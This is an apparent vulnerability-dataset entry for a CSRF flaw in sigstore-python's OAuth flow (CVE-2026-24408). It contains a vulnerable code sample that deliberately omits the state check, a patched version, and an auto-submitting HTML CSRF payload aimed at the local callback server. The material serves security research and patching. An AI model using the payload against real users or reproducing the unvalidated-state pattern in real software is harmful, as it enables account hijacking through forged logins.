CVE-2026-24408
CSRF in sigstore-python's OAuth flow due to missing state validation.
- CVSS 5.0
- CWE-352
- Authentication, Authorization, and Session Management
- Remote
sigstore-python is a Python tool for generating and verifying Sigstore signatures. Prior to version 4.2.0, the sigstore-python OAuth authentication flow is susceptible to Cross-Site Request Forgery. `_OAuthSession` creates a unique "state" and sends it as a parameter in the authentication request but the "state" in the server response seems not not be cross-checked with this value. Version 4.2.0 contains a patch for the issue.
- CWE
- CWE-352
- CVSS base score
- 5.0
- Published
- 2026-01-26
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Cross-Site Request Forgery (CSRF)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- sigstore-pyt
- Fixed by upgrading
- Yes
Solution
Upgrade sigstore-python to version 4.2.0 or later.
Vulnerable code sample
import secrets
import os
from urllib.parse import urlparse, parse_qs, urlencode
import webbrowser
import http.server
import socketserver
# This code is a conceptual representation of the vulnerability described.
# It simulates an OAuth flow where the 'state' parameter is generated but
# never validated upon callback, making it vulnerable to CSRF.
# This is not the exact library code but demonstrates the core flaw.
class VulnerableOAuthFlow:
"""
A class that simulates the vulnerable OAuth2 flow prior to the fix.
"""
def __init__(
self,
client_id="sigstore",
auth_url="https://oauth2.sigstore.dev/auth",
redirect_port=8080,
):
self._client_id = client_id
self._auth_url = auth_url
self._redirect_port = redirect_port
self._redirect_uri = f"http://localhost:{self._redirect_port}"
self._initial_state = None
def get_identity_token(self):
"""
Initiates the OAuth2 flow to get an OIDC identity token.
This method generates a 'state' value but the corresponding callback
handler will fail to verify it.
"""
# 1. Generate a unique "state" to prevent CSRF.
self._initial_state = secrets.token_urlsafe(16)
auth_params = {
"response_type": "code",
"client_id": self._client_id,
"redirect_uri": self._redirect_uri,
"state": self._initial_state,
"scope": "openid email",
}
auth_endpoint = f"{self._auth_url}?{urlencode(auth_params)}"
print(f"Generated state for this session: {self._initial_state}")
print(f"Opening browser to: {auth_endpoint}")
webbrowser.open(auth_endpoint)
auth_code = self._listen_for_callback()
if not auth_code:
raise Exception("Authentication failed: Did not receive an authorization code.")
# In a real flow, this code would be exchanged for an ID token.
print(f"Simulating exchange of auth code '{auth_code}' for a token.")
identity_token = f"fake-jwt-for-code-{auth_code}"
print("Successfully obtained identity token.")
return identity_token
def _listen_for_callback(self):
"""
Starts a local server to listen for the OAuth2 callback.
This is the component with the vulnerability. It receives the callback
but does not validate the 'state' parameter.
"""
auth_code = None
class _CallbackHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
nonlocal auth_code
query_components = parse_qs(urlparse(self.path).query)
received_state = query_components.get("state", [None])[0]
received_code = query_components.get("code", [None])[0]
print("\n--- Callback Received by Local Server ---")
print(f"Received state from callback: {received_state}")
# --- VULNERABILITY ---
# The 'received_state' is NOT checked against the session's
# '_initial_state'. An attacker can intercept and replace
# the authorization code, or trick a user into completing
# an authentication flow initiated by the attacker.
print("VULNERABLE BEHAVIOR: Proceeding without validating the 'state' parameter.")
if received_code:
auth_code = received_code
print(f"Successfully extracted authorization code: {auth_code}")
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(b"<html><body>Authentication successful! You can close this window.</body></html>")
else:
self.send_response(400)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(b"<html><body>Error: No authorization code found in callback.</body></html>")
# The 'with' statement ensures the server is properly closed.
with socketserver.TCPServer(("", self._redirect_port), _CallbackHandler) as httpd:
print(f"Listening on http://localhost:{self._redirect_port} for authentication callback...")
# The server will handle one request and then shut down.
httpd.handle_request()
return auth_codePatched code sample
import secrets
import webbrowser
from http.server import BaseHTTPRequestHandler, TCPServer
from typing import Any, Dict, List, Optional, Tuple
from urllib.parse import parse_qs, urlparse
import requests
# This code is based on the patched version 4.2.0 of sigstore-python.
# It includes the surrounding classes and definitions from sigstore/_internal/oidc/oauth.py
# to provide a complete, contextual demonstration of the fix.
# The `_OIDCProvider` class is a minimal mock for demonstration purposes.
class OIDCError(Exception):
pass
class _OIDCProvider:
"""A mock OIDC provider for demonstration."""
auth_endpoint = "https://oauth.example.com/auth"
token_endpoint = "https://oauth.example.com/token"
code_challenge = "mock_challenge"
class _RedirectHandler(BaseHTTPRequestHandler):
"""
A simple handler for the OAuth redirect.
"""
def do_GET(self) -> None:
server: "_RedirectTCPServer"
server = self.server # type: ignore
server.query_params = parse_qs(urlparse(self.path).query)
self.send_response(200)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write(
b"sigstore-python: success! You may now close this page."
)
class _RedirectTCPServer(TCPServer):
"""
A simple TCP server for the OAuth redirect.
"""
def __init__(
self,
server_address: Tuple[str, int],
RequestHandlerClass: Any,
) -> None:
super().__init__(server_address, RequestHandlerClass)
self.query_params: Optional[Dict[str, List[str]]] = None
class _OAuthSession:
"""
Represents an OAuth 2.0 session.
"""
def __init__(self, client_id: str, client_secret: str, provider: _OIDCProvider):
self._client_id = client_id
self._client_secret = client_secret
self._provider = provider
# The `state` parameter is used to mitigate CSRF.
#
# See: https://datatracker.ietf.org/doc/html/rfc6749#section-10.12
self._state = secrets.token_urlsafe()
def _get_identity_token(self, code: str, redirect_uri: str) -> str:
# In a real implementation, this function would exchange the
# authorization code for an identity token.
return "dummy-identity-token"
def run(self) -> str:
"""
Runs the OAuth 2.0 flow.
"""
# Start a local server to handle the OAuth redirect.
with _RedirectTCPServer(
("127.0.0.1", 0), _RedirectHandler
) as httpd:
host, port = httpd.server_address
redirect_uri = f"http://{host}:{port}"
params = {
"response_type": "code",
"client_id": self._client_id,
"redirect_uri": redirect_uri,
"scope": "openid email",
"state": self._state,
"code_challenge": self._provider.code_challenge,
"code_challenge_method": "S256",
}
auth_endpoint = self._provider.auth_endpoint
req = requests.Request("GET", auth_endpoint, params=params)
url = req.prepare().url
assert url is not None
# Open the authorization URL in the user's browser.
try:
webbrowser.open(url)
print(f"Your browser has been opened to visit:\n\n {url}\n")
except webbrowser.Error:
print(f"Please visit the following URL in your browser:\n\n {url}\n")
# The server will only handle one request.
httpd.handle_request()
# We expect the query parameters to be populated by the handler.
if not httpd.query_params:
raise OIDCError("did not receive query parameters from redirect")
# THE FIX IS HERE:
# Check that the state is the same, to prevent CSRF.
# In the vulnerable version, this block was missing.
#
# See: https://datatracker.ietf.org/doc/html/rfc6749#section-10.12
response_state_list = httpd.query_params.get("state")
if response_state_list is None:
raise OIDCError("did not receive 'state' in redirect")
# `parse_qs` returns a list of values for each key.
# The `state` parameter is not supposed to be repeated, so we
# expect a list of one item.
if response_state_list != [self._state]:
raise OIDCError(
f"mismatched 'state' in redirect: "
f"expected {self._state!r}, got {response_state_list!r}"
)
code_list = httpd.query_params.get("code")
if code_list is None:
raise OIDCError("did not receive 'code' in redirect")
code = code_list[0]
# Now that we have the authorization code, we can exchange it for an
# identity token.
return self._get_identity_token(code=code, redirect_uri=redirect_uri)Payload
<html>
<body>
<p>Loading...</p>
<form id="csrf-form" action="http://127.0.0.1:54321/" method="GET">
<input type="hidden" name="code" value="ATTACKER_SUPPLIED_AUTH_CODE" />
<input type="hidden" name="state" value="forged_state_value" />
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
</body>
</html>
Cite this entry
@misc{vaitp:cve202624408,
title = {{CSRF in sigstore-python's OAuth flow due to missing state validation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-24408},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-24408/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
